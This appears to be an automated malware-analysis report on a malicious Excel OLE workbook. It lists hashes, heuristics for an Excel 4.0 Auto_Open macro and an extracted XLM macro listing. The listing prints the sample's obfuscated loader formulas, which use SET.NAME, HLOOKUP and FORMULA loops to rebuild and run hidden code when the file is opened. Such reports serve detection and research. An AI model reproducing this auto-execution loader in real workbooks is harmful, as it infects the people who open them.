Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9d59dc505376f71…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:43:11 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: a6bac71dd115fbd99eb38d9b75adce1b SHA-1: 8f78ef5d63a5a4a76a8c7751b0168974e0b645aa SHA-256: b9d59dc505376f71757020b4f918046149a7f78ae5232eba3e1c1b79da1f2a34
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6554 bytes
SHA-256: d66deb2e789b323bda2b4f9a952ce5f974f833c385a761c4ccfe026c86f8af0f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  noKPGUSUS
' 0018     25 LABEL : Cell Value, String Constant - AiwlLWAZSZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E151 
' 0018     23 LABEL : Cell Value, String Constant - bLXSkHIW len=0 
' 0018     21 LABEL : Cell Value, String Constant - FMOhZf len=0 
' 0018     27 LABEL : Cell Value, String Constant - GkHctUDwdIvH len=0 
' 0018     25 LABEL : Cell Value, String Constant - HivAmOZtpq len=0 
' 0018     26 LABEL : Cell Value, String Constant - IbjOxxwLUlO len=0 
' 0018     23 LABEL : Cell Value, String Constant - JSzumdsh len=0 
' 0018     23 LABEL : Cell Value, String Constant - opDRZdfo len=0 
' 0018     22 LABEL : Cell Value, String Constant - OQPWrFO len=0 
' 0018     26 LABEL : Cell Value, String Constant - pzklNGiUWZq len=0 
' 0018     21 LABEL : Cell Value, String Constant - RpfbQt len=0 
' 0018     22 LABEL : Cell Value, String Constant - siJQJCs len=0 
' 0018     27 LABEL : Cell Value, String Constant - uhMvEjVKImwx len=0 
' 0018     20 LABEL : Cell Value, String Constant - uNJLx len=0 
' 0018     22 LABEL : Cell Value, String Constant - xbnHddR len=0 
' 0018     21 LABEL : Cell Value, String Constant - XEscOZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - ygAoJrpzzEQu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZaDybWS len=0 
' 0018     24 LABEL : Cell Value, String Constant - zhDpSOZEc len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZKRwdM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  noKPGUSUS,E56,"SET.NAME("zhDpSOZEc",VALUE("0"))",""
'  noKPGUSUS,E58,"SET.NAME("ZKRwdM",zhDpSOZEc)",""
'  noKPGUSUS,E62,"SET.NAME("uhMvEjVKImwx",zhDpSOZEc)",""
'  noKPGUSUS,E64,"SET.NAME("OQPWrFO",COUNTA(xbnHddR))",""
'  noKPGUSUS,E67,"SET.NAME("XEscOZ",COUNTA(JSzumdsh))",""
'  noKPGUSUS,E69,[],""
'  noKPGUSUS,E72,"SET.NAME("RpfbQt","")",""
'  noKPGUSUS,E77,"ZKRwdM",""
'  noKPGUSUS,E81,"SET.NAME("ZaDybWS",HLOOKUP("*",xbnHddR,ZKRwdM,FALSE))",""
'  noKPGUSUS,E85,"siJQJCs",""
'  noKPGUSUS,E89,"SET.NAME("uNJLx",zhDpSOZEc)",""
'  noKPGUSUS,E92,[],""
'  noKPGUSUS,E96,"uNJLx",""
'  noKPGUSUS,E101,"GkHctUDwdIvH",""
'  noKPGUSUS,E105,"HivAmOZtpq",""
'  noKPGUSUS,E109,"bLXSkHIW",""
'  noKPGUSUS,E114,"SET.NAME("IbjOxxwLUlO",VALUE(HLOOKUP("*",JSzumdsh,bLXSkHIW,FALSE)))",""
'  noKPGUSUS,E117,"ygAoJrpzzEQu",""
'  noKPGUSUS,E120,"RpfbQt",""
'  noKPGUSUS,E122,"uhMvEjVKImwx",""
'  noKPGUSUS,E127,NEXT(),""
'  noKPGUSUS,E131,"AiwlLWAZSZ",""
'  noKPGUSUS,E135,"SET.NAME("f",INT(T(FORMULA(T(RpfbQt)&"",""&T(AiwlLWAZSZ)))))",""
'  noKPGUSUS,E138,"FMOhZf",""
'  noKPGUSUS,E141,NEXT(),""
'  noKPGUSUS,E146,RETURN(),""
'  noKPGUSUS,E178,"SET.NAME("opDRZdfo",E56)",""
'  noKPGUSUS,E182,"xbnHddR",""
'  noKPGUSUS,E184,"SET.NAME("JSzumdsh",R79C15)",""
'  noKPGUSUS,E188,"SET.NAME("FMOhZf",198)",""
'  noKPGUSUS,E193,"SET.NAME("pzklNGiUWZq",5)",""
'  noKPGUSUS,E197,opDRZdfo(),""
'  noKPGUSUS,E198,HALT(),""